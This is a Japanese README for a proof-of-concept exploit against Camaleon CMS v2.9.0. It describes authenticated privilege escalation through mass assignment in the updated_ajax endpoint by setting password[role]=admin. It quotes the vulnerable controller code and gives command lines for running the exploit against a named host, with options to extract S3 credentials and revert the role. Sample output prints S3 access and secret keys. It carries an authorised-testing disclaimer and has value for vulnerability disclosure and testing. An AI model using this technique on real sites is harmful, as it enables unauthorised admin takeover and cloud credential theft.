
Camaleon CMS v2.9.0における、updated_ajaxエンドポイントでの不適切なパラメータ処理を介した認証済み権限昇格
対象: Camaleon CMS
v2.9.0
種類:updated_ajaxにおけるマスアサインメントを悪用した認証済み特権昇格(ロールフィールド)
追加機能: 昇格後、管理者設定ページからS3設定の取得が可能(認証ユーザーがアクセスできる場合)
このリポジトリには、Python の概念実証スクリプトが含まれています。このスクリプトは次のことを行います:
/admin/profile/edit から CSRF トークンを取得します。updated_ajax エンドポイントを呼び出して password[...] フィールドを更新し、permit! を悪用して password[role]=admin を設定します。-e)で /admin/settings/site から S3 設定値を抽出します。-r)で実行後にロールを元の値に戻します。この動作は、関連するアドバイザリで説明されている安全でないマスアサインメントパターンに一致します:
以下のコントローラアクションは、permit! を使用してユーザーを更新します:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
permit! は password 配下の すべて のキーを許可するため、攻撃者は以下を送信できます:
password[password]password[password_confirmation]password[role]=adminこれによりアプリケーションはそれを受け入れ、ユーザーのロールが昇格します。
admin に設定することで特権を昇格させる可能性があります。requests依存関係のインストール:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
スクリプトは、ログイン POST 後の返された HTML 内に /admin/logout リンクがあるかどうかをチェックします。
ログアウトリンクが存在する場合、セッションは認証済みとみなされます。
Camaleon は Rails スタイルの CSRF を使用します。トークンは通常、次の 2 つの場所で見られます:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">PoC は /admin/profile/edit から meta csrf-token を取得し、以下の場所で使用します:
authenticity_token=<token>X-CSRF-Token: <token>このコードは、認可されたセキュリティテストおよび教育目的のみ(例:ラボ、CTF、明示的な許可がある環境)で提供されます。
所有していない、またはテストする許可がないシステムに対して使用しないでください。
| フラグ | 説明 |
|---|
-u, --url | ベースURL(例:http://alienone.in) |
-U, --username | 有効なユーザー名 |
-P, --password | 有効なパスワード |
--newpass | 更新リクエストで送信するパスワード値(デフォルト:test) |
-e, --extract | 設定ページからS3設定を抽出 |
-r, --revert | 昇格後にロールを元のロールに戻す |